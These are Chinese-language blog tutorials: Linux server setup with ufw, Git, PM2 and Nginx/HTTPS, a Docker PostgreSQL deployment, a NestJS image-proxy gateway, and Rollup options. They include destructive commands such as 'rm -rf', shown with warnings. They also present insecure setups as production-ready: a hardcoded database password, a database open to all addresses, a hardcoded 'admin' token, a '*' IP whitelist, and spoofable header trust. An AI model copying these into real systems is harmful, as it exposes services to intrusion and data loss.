否则只能通过**VNC登录**重新连接执行

```bash
ufw allow 22/tcp
ufw enable
```

如果使用`ufw status`显示 `Status: inactive`（防火墙未启用）,添加规则后状态仍为 `inactive`（规则未真正加载）

可能因为UFW防火墙处于 **未激活状态**，导致所有规则配置无效或者系统可能残留旧的iptables规则冲突

**强制激活防火墙**

```bash
# 先清理旧规则和锁文件
sudo ufw --force reset

# 重新放行SSH端口（避免被锁）
sudo ufw allow 22/tcp

# 强制启用防火墙（关键步骤！）
sudo ufw --force enable
```

**验证防火墙状态**

```bash
sudo ufw status verbose

# 输出
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), disabled (routed)
New profiles: skip

To                         Action      From
--                         ------      ----
22/tcp                     ALLOW IN    Anywhere
22/tcp (v6)                ALLOW IN    Anywhere (v6)
```

**检查底层iptables规则**

```bash
sudo iptables -L -n | grep 22

# 输出
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            tcp dpt:22
```

## 拉取代码

在ssh上写代码属实有点猫饼，所以通常都是从代码托管平台拉取代码

先在服务器上**安装**`Git`

```bash
sudo apt install git -y
git --version  # 验证安装
```

**配置Git身份**

```bash
git config --global user.name "YourGitHubUsername"
git config --global user.email "your@email.com"
```

创建一个文件夹

```bash
mkdir 文件夹名称
cd 文件夹名称
```

**HTTPS协议**（公开仓库）

```bash

git clone https://github.com/你的用户名/仓库名.git
cd 仓库名
```

**SSH协议**（私有仓库）

```bash
# 生成SSH密钥（如果已有可跳过）
ssh-keygen -t ed25519 -C "your@email.com"
cat ~/.ssh/id_ed25519.pub  # 复制公钥到GitHub的SSH Keys设置

# 克隆仓库
git clone git@github.com:你的用户名/仓库名.git
cd 仓库名
```

安装依赖后运行

```bash
npm i
npm start
# node app.js
```

**用PM2管理新项目**

```bash
# 停止旧进程（如果存在）
pm2 delete all

# 启动新项目
pm2 start app.js --name "my-api"

# 设置开机自启
pm2 save
pm2 startup
```

**手动更新代码流程**

```bash
cd ~/仓库名
git pull origin main  # 假设分支是main / git fetch --all
npm install --production  # 如果package.json有变更
pm2 restart my-api
```

**自动更新代码流程**

通过Webhook，在服务器安装`github-webhook`

```bash
npm install -g github-webhook
```

创建Webhook脚本 `deploy.sh`

```bash
#!/bin/bash
cd ~/仓库名
git pull
npm install
pm2 restart my-api
```

注意添加权限：

```bash
chmod +x deploy.sh
```

验证权限：

```bash
ls -l deploy.sh

# 输出
# -rwxr-xr-x 1 root root 123 May 2 12:34 deploy.sh
```

在GitHub仓库设置 → Webhooks → 添加Payload URL

```bash
http://你的服务器IP:9000/webhook
```

> \[!TIP]
>
> 通过`pm2 logs` 查看错误日志。

> \[!TIP]
>
> `pm2`最好不要使用特殊字符，比如`&`，否则要转义或者加引号

如果要重命名**pm2应用**：

```bash
pm2 delete my-app&api    # 先删除旧应用
pm2 start app.js --name "my-app-api"  # 使用无特殊字符的名称
pm2 save
```

**示例文件**

```bash
#!/bin/bash

# 进入项目目录
cd /home/simple-server/

# 拉取最新代码
git fetch --all
git reset --hard origin/main  # 或你的分支名（如master）

# 安装依赖（如果用yarn请替换）
npm install --production

# 重启PM2进程
pm2 restart "my-app-api"  # 替换为你的PM2应用名

# 可选：记录部署时间
echo "Deployed at $(date)" >> deploy.log
```

**配置Github**

在 GitHub 中配置自动化部署（Webhook），使代码推送时自动触发服务器的 `deploy.sh` 脚本

## 删除

**删除文件**

```bash
rm 文件名
```

强制删除

```bash
rm -f 文件名 
```

删除前确认

```bash
rm -i 文件名  
```

**删除文件夹**

```bash
rm -r 文件夹名   # -r (recursive，递归删除目录及其内容)

rm -rf dir_name     # 强制删除目录（无确认提示，慎用！）
```

删除空目录

```bash
rmdir 空目录名
```

```bash
rm *.log          # 删除所有 .log 文件
rm -r prefix_*    # 删除所有以 prefix_ 开头的目录
```

| 操作           | 命令示例     | 注意事项       |
| :------------- | :----------- | :------------- |
| 删除文件       | `rm file`    | 可加 `-i` 确认 |
| 强制删除文件   | `rm -f file` | 无提示，慎用   |
| 删除目录及内容 | `rm -r dir`  | 递归删除       |
| 强制删除目录   | `rm -rf dir` | **极端危险！** |
| 删除空目录     | `rmdir dir`  | 仅限空目录     |

## 自定义域名

登录域名注册商控制台，**添加 DNS 记录**，记录类型：A，主机记录：@（主域名）或 www（子域名），**记录值**：你的服务器公网 IP，使用`ping 你的域名`，**验证解析生效**

在**服务器环境准备**，

```bash
# 安装 Nginx（Ubuntu 示例）
sudo apt update
sudo apt install nginx -y

# 安装 Certbot（Let's Encrypt 证书工具）
sudo apt install certbot python3-certbot-nginx -y
```

**创建 Nginx 配置文件**

```bash
sudo nano /etc/nginx/sites-available/api.yumeng.icu # 根据实际域名调整
```

**写入**

```nginx
server {
    listen 80;
    server_name api.yumeng.icu;  # 你的域名

    # 访问日志（可选）
    access_log /var/log/nginx/api.yumeng.icu.access.log;
    error_log /var/log/nginx/api.yumeng.icu.error.log;

    # 反向代理到你的 Node.js 服务
    location / {
        proxy_pass http://localhost:3000;  # 转发到本机 3000 端口
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_cache_bypass $http_upgrade;
    }
}
```

根据实际应用类型调整

```nginx
server {
    listen 80;
    server_name app2.yourdomain.com;

    # 静态应用（如Vue/React）
    location / {
        root /var/www/app2/dist;
        index index.html;
        try_files $uri $uri/ /index.html;
    }

    # 动态应用（如Node.js）
    # location / {
    #     proxy_pass http://localhost:3001;  # 假设应用运行在3001端口
    #     proxy_set_header Host $host;
    # }
}
```

**启用配置并测试语法**

```bash
sudo ln -s /etc/nginx/sites-available/api.yumeng.icu /etc/nginx/sites-enabled/
sudo nginx -t  # 必须返回 "syntax is ok"
sudo systemctl reload nginx # sudo systemctl restart nginx
```

> \[!tip]
>
> 一定要注意查看服务器激活的端口
>
> 查看`sudo ufw status`，如果没有则`sudo ufw allow 80/tcp`

**强制 HTTPS**

```bash
sudo apt install certbot python3-certbot-nginx -y #  安装 Certbot（已安装可跳过）
```

**获取 SSL 证书并自动配置 Nginx**

```bash
sudo certbot --nginx -d api.yumeng.icu
```

按提示输入邮箱并同意条款，选择 2: Redirect（强制所有 HTTP 流量跳转到 HTTPS）。

**验证证书自动续期**

```bash
sudo certbot renew --dry-run
```

> \[!TIP]
>
> 如果配置了HTTPS后无法访问，可以检查一下防护墙是否激活了443端口，或者查看证书状态
>
> ```bash
> sudo certbot certificates	# 验证证书状态
> ```
>
> **放行443端口**
>
> ```bash
> sudo ufw allow 443/tcp
> sudo ufw status  # 确认规则已添加
> ```
>
> 硅云安全组补充规则
>
> | 协议 | 端口 | 方向 | 源地址    | 操作 |
> | :--- | :--- | :--- | :-------- | :--- |
> | TCP  | 443  | 入站 | 0.0.0.0/0 | 允许 |

**一项服务(应用)正常通信的3个必要条件**
1：安全组开放对应端口；
2：系统内防火墙放行对应端口；
3：程序服务监听对应端口；

**以最常见的web服务(http服务)对应的80端口举例：**
安全组需放行tcp 80端口，
系统防火墙需放行tcp 80端口，
http服务(比如nginx、Apache等http服务器软件)需监听80端口，
这样80端口才能被访问。

## 私有仓库拉取代码

生成 SSH 密钥对，在 **服务器** 上执行：

```bash
ssh-keygen -t ed25519 -C "your_email@example.com"
```

按回车使用默认路径（~/.ssh/id\_ed25519）,可选：设置密钥密码（增加安全性）。

**将公钥添加到 GitHub**

查看公钥内容：

```bash
cat ~/.ssh/id_ed25519.pub
```

复制输出的内容（以 `ssh-ed25519` 开头）

1. 登录 GitHub → **Settings** → **SSH and GPG keys** → **New SSH Key**：
   * Title: 填写服务器标识（如 `My Server`）
   * Key: 粘贴公钥内容

**测试 SSH 连接**

```bash
ssh -T git@github.com
```

看到 **You've successfully authenticated** 表示成功，注意要输入Yes确定

即可克隆私有仓库了，确保使用 **SSH 地址**（非 HTTPS）。

```bash
git clone git@github.com:your_username/your_private_repo.git
```

如果你的 GitHub 仓库从公开（Public）转为私有（Private），而本地已经通过 **HTTPS 方式** 克隆过旧版本，需要更新远程连接方式以适配私有仓库权限。

**将远程 URL 从 HTTPS 切换到 SSH**

检查当前远程地址

```bash
git remote -v

# origin  https://github.com/your_username/your_repo.git (fetch)
# origin  https://github.com/your_username/your_repo.git (push)
```

**修改为 SSH 地址**

```bash
git remote set-url origin git@github.com:your_username/your_repo.git

git remote -v # 验证

git pull origin main  # 拉取即可
```

## 关于文件覆盖

如果从远程仓库拉取代码后，在代码中新建一个文件，再次拉取代码，此时在本地新建的文件不会变更，因为Git 只跟踪已被 `git add` 的文件，**未纳入版本控制的文件不受影响**

但是，在本地修改已跟踪的文件，导致与远程发生冲突，**git**会先尝试自动合并，如果失败需要手动合并。

> \[!TIP]
>
> 使用`git pull --rebase`将本地提交变基到远程提交之后，即先拉取远程提交然后把本地的提交挂到远程提交的后面

如果远程提交中删除了某个文件，拉取后，本地的文件也将删除，因为Git将同步远程的状态。

**`git pull` 和 `git fetch` 的区别**

| 命令            | 行为                                                         | 适用场景                                                     |
| :-------------- | :----------------------------------------------------------- | :----------------------------------------------------------- |
| **`git fetch`** | 仅从远程仓库**下载最新数据**到本地 `.git` 目录，**不修改工作区文件**。 | 查看远程更新，但不立即合并。通过`git log origin/main`查看远程分支的提交历史 |
| **`git pull`**  | `git fetch` + `git merge`（默认）或 `git rebase`，**会修改工作区**。 | 快速同步远程更改到本地工作                                   |

为了**避免意外覆盖**，建议**先检查再合并**

```bash
git fetch origin          # 仅获取远程更新
git diff origin/main     # 查看远程与本地的差异
git merge origin/main    # 手动合并
```

可以使用`git pull --dry-run`模拟拉取操作，但不会真正的执行，只会显示将会发生的操作

**强制放弃本地修改，完全同步远程**

```bash
git reset --hard origin/main
```

## 查看系统空间

使用以下命令查看所有挂载的文件系统的磁盘空间：

`-h` 选项表示以人类可读的格式显示（例如，以GB、MB为单位）。

```bash
df -h
```

查看某个目录的磁盘使用情况，`-s` 选项表示汇总，只显示总计

```bash
du -sh /path/to/directory
```

查看根目录（`/`）的空间使用情况

```bash
df -h /
```

---

---
url: /posts/5fuakq66/index.md
---
在现代应用系统架构中，数据库是业务的核心组件之一。无论是 Web 项目还是微服务，可靠、可扩展、便于维护的数据库部署方式很重要。

本文将带你一步步使用 **Docker** 启动一个**生产可用的 PostgreSQL** 数据库实例，并解释启动命令中的每个参数设计思路。

Docker 的轻量运行机制和隔离性，让我们非常容易部署 PostgreSQL。

但如果只是简单运行一个 `docker run postgres`，那属于“测试级别”，一旦容器重启或宿主机重启，数据有可能丢失，更不安全。本文将演示**符合生产使用标准**的部署方式，包括：

* 数据持久化
* 自动重启策略
* 命名卷管理数据
* 指定账户密码
* 备份目录准备

## 最终 Docker 启动命令

```bash
docker volume create pgdata
docker volume create pgbackups

docker run -d \
--name postgres-prod \
-e POSTGRES_USER=postgres \
-e POSTGRES_PASSWORD=Yw9pR3kzN4bT2xV8 \
-e POSTGRES_DB=appdb \
-v pgdata:/var/lib/postgresql/data \
-v pgbackups:/backups \
-p 5432:5432 \
--restart unless-stopped \
docker.1ms.run/library/postgres:latest
```

## 参数逐个解析

### 创建数据卷

```bash
docker volume create pgdata
docker volume create pgbackups
```

Docker 默认提供两种持久化方式：**绑定挂载 Bind Mount** 和 **命名卷 Volume**。生产环境更推荐 Volume，因为它由 Docker 管理，更稳定安全，避免宿主机目录权限或挂载选项问题。

* `pgdata` 用来保存 PostgreSQL 的数据库文件
* `pgbackups` 用来保存备份（后面可以用脚本自动备份）

数据卷优点： 不受宿主机目录权限影响，可迁移、可备份，不因容器删除而丢失数据

### 启动 PostgreSQL 容器

```bash
docker run -d \
--name postgres-prod \
-e POSTGRES_USER=postgres \
-e POSTGRES_PASSWORD=Yw9pR3kzN4bT2xV8 \
-e POSTGRES_DB=appdb \
-v pgdata:/var/lib/postgresql/data \
-v pgbackups:/backups \
-p 5432:5432 \
--restart unless-stopped \
docker.1ms.run/library/postgres:latest
```

#### `--name postgres-prod`

给容器起一个名字，便于管理。`postgres-prod` 表示它是生产用数据库。

#### `-e POSTGRES_USER=postgres`

设置数据库管理员用户名。默认是 `postgres`，也可以改成业务账号。

#### `-e POSTGRES_PASSWORD=...`

数据库密码，必须设置，否则 PostgreSQL 会拒绝启动。

#### `-e POSTGRES_DB=appdb`

初始化时默认创建一个数据库，方便应用直接使用。

#### `-v pgdata:/var/lib/postgresql/data`

挂载数据卷到 PostgreSQL 数据目录，实现数据持久化。

#### `-v pgbackups:/backups`

提供一个备份目录，后面可以用 `pg_dump` 自动备份数据库。

#### `-p 5432:5432`

映射数据库端口，使外部能连接数据库。5432 是 PostgreSQL 默认端口。

#### `--restart unless-stopped`

保证容器在系统重启后自动恢复，非常适合生产环境。

#### `docker.1ms.run/library/postgres:latest`

使用 Postgres 镜像的加速源，国内也能快速拉取。

## 命名卷存储位置

Docker 卷默认存储在：

```bash
/var/lib/docker/volumes/
```

查看所有的卷

```bash
docker volume ls
```

查看某个卷真实路径：

```bash
docker volume inspect pgdata
```

你会看到类似：

```bash
"Mountpoint": "/var/lib/docker/volumes/pgdata/_data"
```

## 进入数据库

```bash
docker exec -it postgres-prod psql -U postgres -d appdb
```

进入后可以执行 SQL 命令。

## 设置远程访问

官方 PostgreSQL 镜像默认不带 `vim`，所以需要先安装它，然后再编辑文件。这里给出逐步操作：

**进入容器**

```bash
docker exec -it postgres-prod bash
```

**安装 vim**

容器可能是 Debian/Ubuntu 系列：

```bash
apt-get update
apt-get install -y vim
```

如果是 Alpine 系列：

```bash
apk add vim
```

**修改 postgresql.conf**

```bash
vim /var/lib/postgresql/data/postgresql.conf
```

找到 `#listen_addresses = 'localhost'`

修改为：

```bash
listen_addresses = '*'
```

保存并退出 (`:wq`)

**修改 pg\_hba.conf**

```bash
vim /var/lib/postgresql/data/pg_hba.conf
```

添加一行允许远程访问：

```bash
host all all 0.0.0.0/0 md5
```

保存并退出

**重启容器**

```bash
exit   # 退出容器
docker restart postgres-prod
```

## 自动备份脚本

为了保证数据安全，建议每日自动备份，并保留最近 N 天的备份。

备份脚本示例 `/srv/postgres/backups/backup.sh`

```bash
#!/bin/bash


# 配置
CONTAINER=postgres-prod
BACKUP_DIR=/backups
DB_NAME=appdb
USER=postgres
RETENTION_DAYS=7


# 生成日期
DATE=$(date +%F)
BACKUP_FILE=$BACKUP_DIR/${DB_NAME}_$DATE.sql


# 执行备份
docker exec $CONTAINER pg_dump -U $USER $DB_NAME > $BACKUP_FILE


# 清理旧备份
find $BACKUP_DIR -type f -name "${DB_NAME}_*.sql" -mtime +$RETENTION_DAYS -exec rm {} \;
```

**设置每日定时任务（cron）**

```bash
# 编辑 crontab
crontab -e


# 添加每天凌晨 2 点执行备份
0 2 * * * /srv/postgres/backups/backup.sh >> /srv/postgres/backups/backup.log 2>&1
```

**说明**

* 保留最近 7 天的备份，避免占用过多空间
* 日志文件记录备份执行情况，方便排查
* 可以根据需要调整 `RETENTION_DAYS` 或备份时间

## 数据恢复

```bash
cat /backups/appdb-2025-10-18.sql | docker exec -i postgres-prod psql -U postgres -d appdb
```

## 其他

**查看运行状态**

```bash
docker ps
```

**查看日志**

```bash
docker logs -f postgres-prod
```

---

---
url: /posts/5u8lqfvb/index.md
---
# 图片代理网关服务
## 核心代码

::: details image-gateway.controller.ts

```ts
import { Controller, Get, Post, Req, Res, Query, HttpException, HttpStatus } from '@nestjs/common';
import { AppService } from './image-gateway.service';
import { Request, Response } from 'express';
import { AppConfigService, IPWhitelistService } from '../ConfigService';

// 图片代理控制器
@Controller('image')
export class ImageProxyController {
  private readonly token = 'admin';

  constructor(
    private readonly appService: AppService,
    private readonly appConfigService: AppConfigService,
    private readonly ipWhitelistService: IPWhitelistService
  ) { }

  // 动态获取允许的域名列表
  private get allowedDomains(): string[] {
    return this.appConfigService.getAllowedDomains();
  }

  // IP 白名单列表
  // 动态获取 IP 白名单列表
  private get allowedIPs(): string[] {
    return this.ipWhitelistService.getAllowedIPs();
  }

  // 验证 IP 地址
  private validateIP(ip: string): boolean {
    if (!ip) {
      return false;
    }

    // 检查是否在白名单中
    return this.allowedIPs.some(allowedIP => {
      // 如果是通配符 *，允许所有 IP
      if (allowedIP === '*') {
        return true;
      }
      // 如果是 CIDR 格式（如 192.168.0.0/16）
      if (allowedIP.includes('/')) {
        return this.isIPInRange(ip, allowedIP);
      }
      // 直接 IP 匹配
      return ip === allowedIP;
    });
  }

  // 检查 IP 是否在指定范围内
  private isIPInRange(ip: string, cidr: string): boolean {
    try {
      const [range, bits] = cidr.split('/');
      const mask = ~((1 << (32 - parseInt(bits))) - 1);
      const ipLong = this.ipToLong(ip);
      const rangeLong = this.ipToLong(range);
      return (ipLong & mask) === (rangeLong & mask);
    } catch (error) {
      return false;
    }
  }

  // IP 地址转长整型
  private ipToLong(ip: string): number {
    return ip.split('.').reduce((acc, octet) => (acc << 8) + parseInt(octet), 0) >>> 0;
  }

  // 获取真实 IP 地址
  private getRealIP(req: Request): string {
    // 按优先级获取 IP
    return req.headers['x-forwarded-for'] as string ||
      req.headers['x-real-ip'] as string ||
      req.connection.remoteAddress ||
      req.socket.remoteAddress ||
      req.ip ||
      'unknown';
  }

  // 验证 Referer
  private validateReferer(referer: string): boolean {
    if (!referer) {
      return true; // 没有 Referer 允许访问
    }

    try {
      const url = new URL(referer);
      const host = url.hostname + (url.port ? `:${url.port}` : '');

      return this.allowedDomains.some(domain => {
        // 支持通配符匹配
        if (domain.startsWith('*.')) {
          const wildcardDomain = domain.slice(2);
          return host === wildcardDomain || host.endsWith('.' + wildcardDomain);
        }
        return host === domain;
      });
    } catch (error) {
      return false; // URL 解析失败，拒绝请求
    }
  }

  // 统一的验证函数
  private validateRequest(req: Request, res: Response, token?: string): void {
    // 1. 校验token
    if (token && token !== this.token) {
      this.setNoCacheHeaders(res);
      throw new HttpException('Unauthorized', HttpStatus.UNAUTHORIZED);
    }

    // 2. 校验 IP 地址
    const realIP = this.getRealIP(req);
    if (!this.validateIP(realIP)) {
      this.setNoCacheHeaders(res);
      throw new HttpException('IP not allowed', HttpStatus.FORBIDDEN);
    }

    // 3. 校验 Referer
    const referer = req.headers.referer || req.headers.referrer;
    if (!this.validateReferer(referer as string)) {
      this.setNoCacheHeaders(res);
      throw new HttpException('Invalid Referer', HttpStatus.FORBIDDEN);
    }
  }

  // 设置不缓存响应头
  private setNoCacheHeaders(res: Response): void {
    res.setHeader('Cache-Control', 'no-cache, no-store, must-revalidate');
    res.setHeader('Pragma', 'no-cache');
    res.setHeader('Expires', '0');
  }

  // 配置管理接口
  @Get('config/domains')
  async getCurrentDomains() {
    return {
      success: true,
      data: {
        allowedDomains: this.allowedDomains,
        timestamp: new Date().toISOString()
      }
    };
  }

  @Get('config/ips')
  async getCurrentIPs() {
    return {
      success: true,
      data: {
        allowedIPs: this.allowedIPs,
        timestamp: new Date().toISOString()
      }
    };
  }

  @Post('config/refresh')
  async refreshConfig() {
    try {
      // 清除缓存并重新加载所有配置
      await Promise.all([
        this.appConfigService.clearCacheAndReload(),
        this.ipWhitelistService.clearCacheAndReload()
      ]);

      return {
        success: true,
        message: '配置刷新成功',
        data: {
          allowedDomains: this.allowedDomains,
          allowedIPs: this.allowedIPs,
          timestamp: new Date().toISOString()
        }
      };
    } catch (error) {
      console.error('配置刷新失败:', error);
      return {
        success: false,
        message: '配置刷新失败，使用默认配置',
        data: {
          allowedDomains: this.allowedDomains,
          allowedIPs: this.allowedIPs,
          timestamp: new Date().toISOString()
        }
      };
    }
  }

  @Post('config/refresh/domains')
  async refreshDomainsConfig() {
    try {
      await this.appConfigService.clearCacheAndReload();
      return {
        success: true,
        message: '域名配置刷新成功',
        data: {
          allowedDomains: this.allowedDomains,
          timestamp: new Date().toISOString()
        }
      };
    } catch (error) {
      console.error('域名配置刷新失败:', error);
      return {
        success: false,
        message: '域名配置刷新失败，使用默认配置',
        data: {
          allowedDomains: this.allowedDomains,
          timestamp: new Date().toISOString()
        }
      };
    }
  }

  @Post('config/refresh/ips')
  async refreshIPsConfig() {
    try {
      await this.ipWhitelistService.clearCacheAndReload();
      return {
        success: true,
        message: 'IP白名单配置刷新成功',
        data: {
          allowedIPs: this.allowedIPs,
          timestamp: new Date().toISOString()
        }
      };
    } catch (error) {
      console.error('IP白名单配置刷新失败:', error);
      return {
        success: false,
        message: 'IP白名单配置刷新失败，使用默认配置',
        data: {
          allowedIPs: this.allowedIPs,
          timestamp: new Date().toISOString()
        }
      };
    }
  }

  // 匹配 image/后所有路径（包括多级目录和文件名）
  @Get('*path')
  async proxyImage(
    @Req() req: Request,
    @Res() res: Response,
    @Query('token') token: string
  ) {
    // 统一验证请求
    this.validateRequest(req, res, token);

    // 获取原始图片路径（去掉 /image/ 前缀）
    const imgPath = req.path.replace(/^\/image\//, '');

    // 代理图片
    return this.appService.proxyImage(imgPath, res);
  }

  // 也支持 POST 请求
  @Post('*path')
  async proxyImagePost(
    @Req() req: Request,
    @Res() res: Response,
    @Query('token') token: string
  ) {
    // 统一验证请求
    this.validateRequest(req, res, token);

    // 获取原始图片路径（去掉 /image/ 前缀）
    const imgPath = req.path.replace(/^\/image\//, '');

    // 代理图片
    return this.appService.proxyImage(imgPath, res);
  }
}
```

:::

::: details image-gateway.module.ts

```ts
import { Module } from '@nestjs/common';
import { ImageProxyController } from './image-gateway.controller';
import { AppService } from './image-gateway.service';
import { AppConfigService, IPWhitelistService } from '../ConfigService';

@Module({
  controllers: [ImageProxyController],
  providers: [AppService, AppConfigService, IPWhitelistService],
  exports: [AppService], // 导出服务，以便其他模块可以使用
})
export class ImageGatewayModule { } 
```

:::

::: details image-gateway.service.ts

```ts
import { Injectable, Scope, HttpException, HttpStatus, ImATeapotException } from '@nestjs/common';
import axios from 'axios';
import { Response } from 'express';

@Injectable()
export class AppService {
  // 图片代理方法
  async proxyImage(imgPath: string, res: Response) {
    // 拼接原始图片地址
    const originUrl = `https://pimg.yumgjs.com/${imgPath}`;

    try {
      // 拉取图片内容
      const response = await axios.get(originUrl, {
        responseType: 'stream',
      });

      // 设置响应头
      res.setHeader('Content-Type', response.headers['content-type'] || 'image/jpeg');
      // 为图片设置适当的缓存策略，但确保验证失败不会被缓存
      res.setHeader('Cache-Control', 'public, max-age=3600, s-maxage=3600'); // 缓存1小时
      res.setHeader('Vary', 'Referer'); // 根据Referer变化缓存

      // 直接把图片流返回给前端
      response.data.pipe(res);
    } catch (err) {
      throw new HttpException('Image not found', HttpStatus.NOT_FOUND);
    }
  }
}

```

:::

::: details ConfigService.ts

```ts
import { Injectable, OnModuleInit } from '@nestjs/common';
import { createClient, SupabaseClient } from '@supabase/supabase-js';

@Injectable()
export class AppConfigService implements OnModuleInit {
    private supabase: SupabaseClient;
    private allowedDomains: string[] = [];

    constructor() {
        const supabaseUrl = process.env.SUPABASE_URL;
        const supabaseKey = process.env.SUPABASE_SERVICE_ROLE_KEY;


        if (!supabaseUrl || !supabaseKey) {
            console.warn('Supabase 环境变量未配置，使用默认配置');
            this.allowedDomains = [
                'localhost:3000',
                'localhost:3001',
                'localhost:5000',
                'yumeng.icu',
                'www.yumeng.icu',
                'images.yumeng.icu'
            ];
            return;
        }

        this.supabase = createClient(supabaseUrl, supabaseKey);
    }

    async onModuleInit() {
        await this.loadAllowedDomains();
    }

    async loadAllowedDomains() {
        // 如果没有配置 Supabase，直接返回
        if (!this.supabase) {
            console.log('使用默认配置，跳过数据库加载');
            return;
        }

        try {
            const { data, error } = await this.supabase
                .from('app_config')
                .select('value')
                .eq('key', 'allowed_domains')
                .single(); // 查询结果必须只有一行

            if (error) {
                console.error('加载配置失败:', error);
                // 保持默认配置，不重置为空数组
                return;
            } else {
                try {
                    this.allowedDomains = JSON.parse(data.value);
                    console.log('加载允许域名:', this.allowedDomains);
                } catch (e) {
                    console.error('配置 JSON 解析失败:', e);
                    // 保持默认配置，不重置为空数组
                }
            }
        } catch (error) {
            console.error('Supabase 连接失败:', error);
            // 保持默认配置
        }
    }

    getAllowedDomains(): string[] {
        return this.allowedDomains;
    }

    // 你可以再加个定时刷新配置的方法，比如每5分钟自动更新
    // 清除缓存并重新加载配置
    async clearCacheAndReload(): Promise<void> {
        console.log('🧹 清除缓存并重新加载配置...');
        // 清空当前配置
        this.allowedDomains = [];
        // 重新加载
        await this.loadAllowedDomains();
    }
}


// ------------------------------------------------------------------

@Injectable()
export class IPWhitelistService implements OnModuleInit {
  private supabase: SupabaseClient;
  private allowedIPs: string[] = [];

  constructor() {
    const supabaseUrl = process.env.SUPABASE_URL;
    const supabaseKey = process.env.SUPABASE_SERVICE_ROLE_KEY;

    if (!supabaseUrl || !supabaseKey) {
      console.warn('Supabase 环境变量未配置，使用默认IP白名单');
      this.allowedIPs = [
        '127.0.0.1',        // 本地回环
        '::1',              // IPv6 本地回环
        '192.168.1.100',    // 局域网 IP
        '192.168.220.1',    // 局域网 IP
        '10.0.0.0/8',       // 内网段
        '172.16.0.0/12',    // 内网段
        '192.168.0.0/16',   // 内网段
        '*'                 // 允许所有IP（开发环境）
      ];
      return;
    }

    this.supabase = createClient(supabaseUrl, supabaseKey);
  }

  async onModuleInit() {
    await this.loadAllowedIPs();
  }

  async loadAllowedIPs() {
    // 如果没有配置 Supabase，直接返回
    if (!this.supabase) {
      console.log('使用默认IP白名单，跳过数据库加载');
      return;
    }

    try {
      const { data, error } = await this.supabase
        .from('ip_whitelist')
        .select('ip')
        .eq('enabled', true);

      if (error) {
        console.error('加载 IP 白名单失败:', error);
        // 保持默认配置，不重置为空数组
        return;
      } else {
        this.allowedIPs = data.map(item => item.ip);
        console.log('加载允许 IP 列表:', this.allowedIPs);
      }
    } catch (error) {
      console.error('Supabase 连接失败:', error);
      // 保持默认配置
    }
  }

  getAllowedIPs(): string[] {
    return this.allowedIPs;
  }

  // 清除缓存并重新加载IP白名单配置
  async clearCacheAndReload(): Promise<void> {
    console.log('🧹 清除IP白名单缓存并重新加载配置...');
    // 清空当前配置
    this.allowedIPs = [];
    // 重新加载
    await this.loadAllowedIPs();
  }
}
```

:::

## SQL代码：

### ip\_whitelist

```sql
-- 1. 创建 IP 白名单配置表
create table if not exists public.ip_whitelist (
  id serial primary key,
  ip text not null,
  description text,
  enabled boolean default true,
  updated_at timestamp with time zone default now()
);

-- 2. 插入默认的白名单 IP，包括本地回环和内网段
insert into public.ip_whitelist (ip, description) values
  ('127.0.0.1', 'IPv4 本地回环'),
  ('::1', 'IPv6 本地回环'),
  ('192.168.1.100', '自定义局域网 IP'),
  ('192.168.220.1', '自定义局域网 IP'),
  ('10.0.0.0/8', 'Class A 私有网络'),
  ('172.16.0.0/12', 'Class B 私有网络'),
  ('192.168.0.0/16', 'Class C 私有网络'),
  ('*', '允许所有 IP');

-- 3. 授权认证用户（authenticated）查询该表
grant select on public.ip_whitelist to authenticated;

-- 4. 启用 RLS（行级权限控制）
alter table public.ip_whitelist enable row level security;

-- 5. 创建策略：允许所有认证用户读取（你后端可用 service_role 绕过）
create policy "authenticated can read ip whitelist"
  on public.ip_whitelist
  for select
  to authenticated
  using (true);

```

### app\_config

```sql
-- 创建配置表
create table if not exists public.app_config (
  id serial primary key,
  key text not null unique,
  value text not null,
  description text,
  updated_at timestamp with time zone default now()
);

-- 授权给认证用户读权限（authenticated 是 Supabase 默认认证用户角色）
grant select on public.app_config to authenticated;

-- 如果需要管理权限（写、更新、删除），可以单独授权给你管理的角色（假设是 "admin"）
-- grant insert, update, delete on public.app_config to admin;

-- 你也可以创建视图或者函数进一步控制权限，但以上是基本的权限配置

insert into public.app_config (key, value, description)
values (
  'allowed_domains',
  '["localhost:3000","localhost:3001","yumeng.icu","your-domain.com"]',
  '允许的域名列表'
);


select * from public.app_config where key = 'allowed_domains';

```

## 示例：

图片地址：https://api.yumeng.icu/image/test/2025-07-05/224223.jpg

![](https://api.yumeng.icu/image/test/2025-07-05/224223.jpg?token=admin){title=图片来自Pixiv}

---

---
url: /posts/68nq82e1/index.md
---
# Rollup打包工具参数解析
## 核心功能{#core}

::: details 现状😂

![bukanwendang](https://fish81.github.io/picx-images-hosting/20250414/bukanwendang.77dqud641r.png)

:::

### external

`external`配置项用于告诉`Rollup`，这些模块不要打包到最终的`bundle`中，让它们保持外部引用。

Me: `这些模块别打包，我自有安排`

通俗理解：

**某些依赖不打包，让它们在运行时从外部获取。**

**场景**：

**使用CDN引入库的时候**，比如在 HTML 中通过 `<script src="https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js"></script>` 引入了 lodash，就应该把 lodash 设为 external。

**当某些库会被其他方式提供时**，比如你的代码运行在 Node.js 环境，Node.js 本身会提供像 `fs`、`path` 这样的内置模块。当你的运行环境提供了你运行时需要的库。

**避免重复打包大型库**，如果你有多个 bundle 都用了 React，可以把 React 设为 external，然后通过 CDN 引入一次，而不是每个 bundle 都包含一份 React。

```js
// rollup.config.js
export default {
  input: 'src/main.js',
  output: {
    file: 'bundle.js',
    format: 'iife'
  },
  external: ['lodash', 'jquery'] // 这里列出不打包的模块名
};
```

**实际场景**：

假设你的代码中使用了 lodash，但你想通过 CDN 提供它：

配置 rollup.config.js

```js
external: ['lodash']
```

在 HTML 中：

```html
<script src="https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js"></script>
<script src="bundle.js"></script>
```

在你的代码中正常使用

```js
import * from 'lodash'; // Rollup 不会打包它，但运行时能从全局变量获取
```

未打包在一起的模块通常以下方式获取：

* 库会通过 CDN 引入
* 库是环境内置的
* 避免重复打包大型库

官方文档：https://cn.rollupjs.org/configuration-options/#external

### input

**数组**：

```js
input: ["src/index.js", "src/log.js"]
```

